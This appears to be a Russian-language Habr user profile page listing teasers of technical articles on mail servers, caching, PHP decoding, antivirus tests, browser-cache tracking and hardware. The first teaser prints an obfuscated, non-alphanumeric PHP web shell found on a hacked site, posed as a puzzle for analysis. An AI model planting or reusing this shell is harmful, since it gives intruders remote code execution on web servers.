Search
Write a publication
Pull to refresh
1
0
postdig @postdig

User

Send message

PHP-шелл без единого буквенно-цифрового символа

Reading time1 min
Views89K
Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
Узнать подробности

Облачные хранилища для бэкапа сайтов

Reading time1 min
Views20K
Поскольку прикручиваю к своей софтине сохранение бэкапа на облачные хранилища, стало интересно насколько они популярны, именно как средство для хранения резервных копий (бэкапа) сайтов, и какие из них пользуются наибольшим спросом.

Знакомимся с мнением хабраюзеров.

Читать дальше →

Я построю свой почтовый сервер с Postfix и Dovecot

Reading time20 min
Views309K
image

В рамках программы по унификации установленных серверных систем встала задача по переделке почтового сервера. Вдумчивое изучение мануалов и руководств показало довольно любопытный факт – нигде не было найдено однозначно достоверного руководства или подобия Best Practice по развёртыванию почтовика.

Мануал пошаговый, основывается на внутренней документации компании и затрагивает совершенно очевидные вопросы. Гуру могут не тратить время, ноу-хау здесь нет – руководство является сборной солянкой и публикуется только потому, что все найденные руководства по развёртыванию почтовика напоминали картинку о том, как рисовать сову.
Очень много текста

Реализация голосового меню на perl через usb модем Huawei e1550

Reading time14 min
Views11K
Совсем недавно я написал пост в котором дал немного теории, и описал практическую реализацию скрипта производящего голосовой обзвон (оповещение) абонентов по списку через usb модем Hyawei e1550. В одном из комментариев был задан вопрос о том как получить во время голосового соединения данные о нажатии кнопок на телефоне абонента. Детальное изучение этого вопроса и привело к созданию этого поста.

В данной статье будет представлена реализация голосового меню, с функциями:
— записи голосового сообщения
— выполнения системных команд
Все это стало возможным благодаря реализации декодера DTMF сигналов основанного на алгоритме Гёрцеля.
В качестве бонуса — архив исходниками голосового меню.
Читать дальше →

Aria2C + OpenWRT

Reading time2 min
Views17K
    Хорошего всем дня. Сегодня появилась необходимость удаленно скачать пару файлов на роутер. Решил поделится как я этот вопрос решил. Конечно можно использовать обычный wget зайдя на роутер по ssh, но как то это не удобно. Погуглив нашел под OpenWRT только Aria2C, конечно может плохо искал, если предложите еще варианты буду только рад. Подходит по всем моим критериям, плюс приятный бонус: так же легко качает торренты и ftp. Единственный недостаток — нет вэб интерфейса, но этот недостаток легко устраним. Хотя для пробы можно и пойти другим путем об этом чуть позже. В общем всех интересующихся прошу под кат
Читать дальше →

Кэширование фронтэнда: Flask, Nginx+Memcached+SSI

Reading time7 min
Views17K
Достаточно давно мне на глаза попались следующие статьи по этой тематике:

С PHP я дружу, поэтому попробовал примеры и убедился, что это работает. Но всё это имело «фатальные недостатки» :) — PHP, а я фанат Python и по работе занимаюсь в основном бэкендом. Серьёзно говоря, применить на практике это не представлялось возможным.

Однако в начале года поступило предложение поучаствовать в одном амбициозном проекте, изначально подразумевающий HiLoad и прочие плюшки из этой оперы. Пока составлялись бизнес-планы, искались инвесторы и тому подобные дела, я решил изучит вопросы которые на мой взгляд пригодились бы в этой работе, в том числе и вопросы кэширования.

В первую очередь было реализовано черновое решение для моего любимого фрэймворка Flask использующее для кэширования стек Varnish+ESI. Это заработало и даже показало неплохие результаты. Позже пришло понимание, что возможно Varnish «лишний игрок» и всё тоже и даже гибче можно получить на связке Nginx+Memcached+SSI. Был сделан и этот вариант, по производительности особых отличий замечено не было, но последний показался более гибким и управляемым.

Тот проект не вырулил даже на взлетную полосу, или вырулил но без меня. Подумав, я решил «причесать код» и выложить его в OpenSource и на суд общественности.
Читать дальше →

Клиент Яндекс.Диска для Linux. Консольный

Reading time8 min
Views117K
Сегодня мы представляем долгожданный клиент Яндекс.Диска для Linux. Можно было бы даже сказать «специально для Хабрахабра», так как ни одно упоминание Диска здесь не обходилось без вопросов о клиенте для Линукса.

У него есть вся основная функциональность, которая есть у клиентов для OS X и Windows, и даже больше (симлинки!), и одна особенность — он консольный.

image

Ниже читайте о том, как он настраивается, что конкретно умеет, и о том, как именно он устроен и что в нём было непросто сделать.

Читать дальше →

Кодирование и декодирование PHP кода

Reading time8 min
Views70K
Я занимаюсь восстановлением исходников PHP из закодированного вида.
В этой статье я расскажу о том, как обстоят дела с кодированием и декодированием PHP в настоящее время.

Очень краткий ликбез по внутреннему устройству интерпретатора PHP


При выполнении PHP-скрипта, он парсится и компилируется в опкоды внутренней виртуальной машины PHP.
Из каждого файла PHP получаются:
— массив классов: в каждом классе — информация о классе, свойства класса и массив методов класса
— массив функций
— «тело скрипта» — код вне классов и функций
Читать дальше →

Записи в DNS из NetXMS

Reading time4 min
Views12K
Некоторое время назад наша группа инженеров плотно подсела на систему мониторинга NetXMS. Киллер-фичей оказалась графическая конcоль:

image

Ничего настолько же наглядного и удобного (да, это очень субъективный критерий) в знакомых нам OpenNMS и Zabbix нет и близко. Систему мониторинга стало возможно использовать не просто как механизм оповещений о возникающих проблемах, а в первую очередь для анализа текущего состояния сети.

Мы уже использовали несколько совершенно не связанных друг с другом баз данных, в которых с той или иной стороны учитывалось все или часть эксплуатируемого нами оборудования. Появился соблазн уменьшить количество этих баз данных, взяв БД NetXMS за первичный источник информации. Первой жертвой пал внутренний DNS-сервер.
Читать дальше →

«Антизловредный шустряк»

Reading time5 min
Views71K

На жизненном пути каждого системного администратора время от времени встает вопрос: какой антивирус выбрать для компании с учетом постоянной конкурентной борьбы на этом рынке? Порой и не уследишь у кого появился новый функционал, а кто еще «догоняет».

Безусловно, при выборе антивируса нас интересуют множество параметров. Вот некоторые из них:

  • Универсальность:
Должен справляться со всем и сразу (трояны, малвари, спайботы и т.д.)

  • Актуальность вирусных сигнатур:
На сегодняшний день отрасль вирусописания развита до безобразия. Этим занимается кому только не лень. Большинство, конечно, это школьники, которым хочется самореализоваться. Но несмотря на это, вирус и из под таких рук может нанести вред. Поэтому для нас так важно, чтобы антивирус знал как бороться с вирусами до того как они попадают в сеть максимально «пост приближенно» к его дебюту.

  • Централизованное управление:
Для компании с большим парком машин, безусловно, необходим инструмент централизованного управления антивирусным продуктом на рабочих станциях.

  • Нагрузка системы:
Может, конечно, кого-то не волнует этот вопрос при выборе антивируса. Честно говоря, меня тоже раньше не беспокоил, пока я работал в крупных компаниях. Компьютер тормозит? Может проверим хард, проверим на вирусы, переставим систему? Нее, зачем… Это долго, лучше купим новый! Сейчас такой роскоши нет. Приходится работать с оборудованием моих школьных лет. Поэтому для меня этот параметр антивирусного продукта как никогда актуален. Думаю таких компаний еще немало.

Поэтому в этой статье речь пойдет именно о производительности на маломощном железе.
В тестировании примут участие яркие представители семейства антивирусных:

• Kaspersky Internet Security 2013
• Dr.Web 7.0
• NOD32 Smart Security 5
• Microsoft Security Essential
Читать дальше →

Cookie без куков

Reading time1 min
Views55K

Отслеживание



Как мы обычно отслеживаем посетителей сайта? Одним из следующих методов:

  • cookies
  • javascript
  • local storage
  • flash, java, иные плагины
  • ip-адрес и UserAgent


Допустим, пользователь отключил всё это (и ходит через прокси или даже vpn). Есть ли способ всё-таки его отследить?
Оказывается — да. Это кэш браузера.
Читать дальше →

Простой способ защиты от распределённого брутфорса доступов к CMS

Reading time3 min
Views13K
Всем добрый день.
Команда Русоникса решила проблемы с электричеством и написала прекрасный пост с красивыми картинками про «Распределенную брутфорс-атаку на CMS с точки зрения хостера».
Впрочем, там не хватает одного — собственно реализации.

Итак, цели этого поста:
  • Эскизная реализация описанной в статье схемы на Nginx + немного бэкэнда в виде php;
  • Поиск решения «покрасивее»

Если интересно, прошу под хабракат.
Читать дальше →

Безопасность электронной почты: шифрование писем

Reading time2 min
Views108K
Последний месяц, в связи с недавними событиями — закрытием почтового сервиса с шифрованием LavaBit, заявлениями Гугла, что Gmail не гарантирует безопасность данных, переходом крупнейших email-сервисов Германии на шифрование писем, в Интернете все чаще стали говорить об обеспечении конфиденциальности частной переписки. Начнем с простых решений.

SecureGmail


Большинство из нас пользуется почтой от GMail, поэтому хорошо бы научить его шифрованию писем. К счастью, уже есть расширение для Google Chrome — SecureGmail.

image
Читать дальше →

Сказ о том, как бы я продвигал сайт или не так страшно SEO как его малюют

Reading time9 min
Views88K

Сначала предметная область


SEO стратегия
Изначально была мысль написать очень подробный мануал, но потом решил остановиться на стратегиях.

Ключи/запросы


Это фразы, которые набираются в поиске, для достижения результата (ответа на вопрос, покупки, получения информации…)
По частотностям
НЧ – низкочастотные (величина вычисляется логарифмически относительно самого большого числа запросов по ВЧ запросу из категории), для простоты пусть будет все что ниже 300 запросов (хотя в каждой группе по разному).
СЧ – среднечастотные (величина вычисляется логарифмически относительно самого большого числа запросов по ВЧ запросу из категории), для простоты пусть это будет все что выше 300 и ниже 2000 запросов (хотя в каждой группе по разному).
ВЧ – максимальное значение количества поисков простого запроса, к примеру «Светильник».
По конкуренции
НК – низкоконкурентные запросы, по которым есть шанс двинуться в топ (мало точных вхождений поисковой фразы, мало главных страниц, низкое количество результатов в поисковой выдаче)
СК – средне конкурентные запросы, по которым есть шанс продвинуться в топ, но есть и конкуренция (весь топ занят или главными или точными вхождениями, но показатели ссылочной массы конкурентов низкие)
ВК – высококонкурентные запросы, по которым необходимо из кожи вон вылезти чтоб продвинуться (и топ весь занят, и ссылочная масса ужасающая) при средних бюджетах ВК топ недостижим, но можно долго работать, чтоб кардинально поменять выдачу (закупка сателлитов, ссылочной массы, грамотное внутренне СЕО).

Семантическое ядро


Предполагает, что будет оптимизироваться каждая страница сайта. Это значит, что страница конечно будет давать ответ на запрос пользователя, но при этом на ней должен быть материал, который включает в себя эти ответы. То есть признаки, по которым ПС сможет выдать именно эту страницу на это запрос…
Пока что это сами запросы пользователей – они же «КЛЮЧИ»
Ключевые фразы подбираются для каждой страницы персонально.
Для главной страницы берутся общие запросы (описывающие общую категорию и выделяющие общую тематику сайта).
Для страницы категории выбираются запросы более узкой тематики, выделяющие отдельную категорию в общей всего сайта.
Для страницы товара/услуги – берутся максимально конкретные запросы, отражающие ее суть и позволяющие максимально точно ее/его идентифицировать.

0 Стратегия: Тариф Беззаботный


Минимум затрат, так как трафик тупо покупается у ПС. Других вариантов нет.

1 Стратегия: На халяву


Низкоконкурентный трафик – занимается ниша, где есть спрос, но нет конкурентов – классический «кто первый встал – того и тапки».
Схема до боли проста – ищем свободные ниши, подбираем НК запросы, пишем материал (даем полезное на запрос пользователя) – попадаем в ТОП, для усиления эффекта можно закупить по парочке ссылок.
Посмотреть нормальные стратегии...

Раздача интернета с 3G модема в локальную сеть в Linux

Reading time12 min
Views48K
Эта статья — продолжение статьи Беспроводная точка доступа, используя Linux. Тут я опишу, что же необходимо сделать для того, чтобы раздавать интернет с 3G-модема по уже созданной по инструкции из предыдущего топика вайфай-сети.

1) Прежде всего, научить Linux работать с модемом
2) Создать NAT для раздачи интернета
3) Запихнуть всё это дело в автозагрузку
Итак, bash, wvdial и iptables под мышку — и поехали!
Читать дальше →

Еще один способ управления вентилятором в Linux (на примере Acer S3-391)

Reading time7 min
Views36K
Понадобился мне однажды для работы ноутбук. Уж не помню почему, но выбор пал на Acer S3-391, тонкий, легкий, быстрый, но не лишенный недостатков. Кроме плохого экрана (который кстати не так просто заменить — у него особый коннектор, и возможно он приклеен к рамке), особенно меня раздражал шум вентилятора.
Пути решения этой проблемы я и постараюсь осветить в этой статье.

Прочитав статью Управляем вентилятором ноутбука через DSDT в Linux и не только, как и автор, я начал усердно гуглить в сторону ACPI и DSDT, даже перекомпилировал и подключил свою таблицу, но найти «ту самую» строчку кода отвечающую за работу вентилятора так и не удалось.

Читать дальше →

LSI Nytro MegaRAID NMR8100-4i в деле

Reading time5 min
Views29K
Клиент сформулировал мне в HOSTKEY задачу — на 1 (один) сервер с 12 ядрами и 64Гб памяти надо примерно 3-4Тб места под более-менее однотипные виртуалки, но что бы работало все как на SSD и при этом уложиться в 16000р в месяц. Стали думать, вариантов было несколько:
  • делаем все на SSD. берем 6 дисков по 500Гб типа Samsung 840 Pro eMLC, собираем их в страйп или еще как хитро, добавляем пару дисков по 3Тб для бакапа и… не проходим в бюджет. 2U сервер, 8 портовый RAID контроллер и диски по 12000р за штуку не пропускают.
  • Делаем все на жестких дисках, берем 12x300Gb SAS 15K и опять не проходим ни в бюджет, ни в производительность.
  • Используем RAID контроллер с внешним SSD кэшем – LSI CacheCade или Adaptec MaxCache. Идея получше, но нам надо 4 диска по 2Тб в RAID10 – придется брать 8 портовый контроллер и к нему SSD на 120Гб eMLC или SLC. Что бы к SSD был доступ, опять надо брать 2U корпус. Контроллер 8 портов + SSD стоит около 37000р, в бюджет не проходим.
  • Используем новую LSI Nytro MegaRAID NMR8100-4i. Берем 1U систему, ставим в нее контроллер, ставим в нее 4 диска по 2Тб в RAID10 и вписываемся и в производительность и в бюджет. Нитра стоит 27000р, на ней уже стоят 2 диска по 44Гб, причем SLC!

Сказано – сделано, примерно 3 рабочих дня и 4 вариант у нас на столе. Посмотрим, на что он способен — не на рекламных проспектах, а на практике.

Читать дальше →

Information

Rating
Does not participate
Location
Киев, Киевская обл., Украина
Date of birth
Registered
Activity